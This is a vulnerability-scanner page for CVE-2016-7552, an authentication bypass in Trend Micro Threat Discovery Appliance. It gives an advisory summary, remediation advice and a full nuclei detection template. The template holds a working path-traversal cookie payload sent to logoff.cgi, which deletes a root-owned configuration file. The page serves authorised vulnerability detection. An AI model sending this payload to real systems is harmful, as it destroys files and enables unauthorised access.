Trend Micro Threat Discovery Appliance 2.6.1062r1 - Authentication Bypass

criticalseverity

9.8CVSS score

93.2%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Trend Micro Threat Discovery Appliance 2.6.1062r1 is vulnerable to a directory traversal vulnerability when processing a session_id cookie, which allows a remote, unauthenticated attacker to delete arbitrary files as root. This can be used to bypass authentication or cause a DoS.

Impact

Successful exploitation of this vulnerability allows an attacker to bypass authentication and gain unauthorized access to the appliance.

Fix

Apply the necessary patch or update provided by Trend Micro to fix the authentication bypass vulnerability.

How to confirm it

Send: GET {{BaseURL}}/cgi-bin/logoff.cgi
Positive when: contains "Memory map" AND status 200

Run it with nuclei: nuclei -id CVE-2016-7552 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2016-7552

info:
  name: Trend Micro Threat Discovery Appliance 2.6.1062r1 - Authentication Bypass
  author: dwisiswant0
  severity: critical
  description: Trend Micro Threat Discovery Appliance 2.6.1062r1 is vulnerable to a  directory traversal vulnerability when processing a session_id cookie, which allows a remote, unauthenticated attacker to delete arbitrary files as root. This can be used to bypass authentication or cause a DoS.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to bypass authentication and gain unauthorized access to the appliance.
  remediation: |
    Apply the necessary patch or update provided by Trend Micro to fix the authentication bypass vulnerability.
  reference:
    - https://gist.github.com/malerisch/5de8b408443ee9253b3954a62a8d97b4
    - https://nvd.nist.gov/vuln/detail/CVE-2016-7552
    - https://github.com/rapid7/metasploit-framework/pull/8216/commits/0f07875a2ddb0bfbb4e985ab074e9fc56da1dcf6
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2016-7552
    cwe-id: CWE-22
    epss-score: 0.93249
    epss-percentile: 0.99838
    cpe: cpe:2.3:a:trendmicro:threat_discovery_appliance:2.6.1062:r1:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: trendmicro
    product: threat_discovery_appliance
  tags: cve2016,cve,msf,lfi,auth,bypass,trendmicro,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/logoff.cgi"

    headers:
      Cookie: "session_id=../../../opt/TrendMicro/MinorityReport/etc/igsa.conf"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Memory map"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from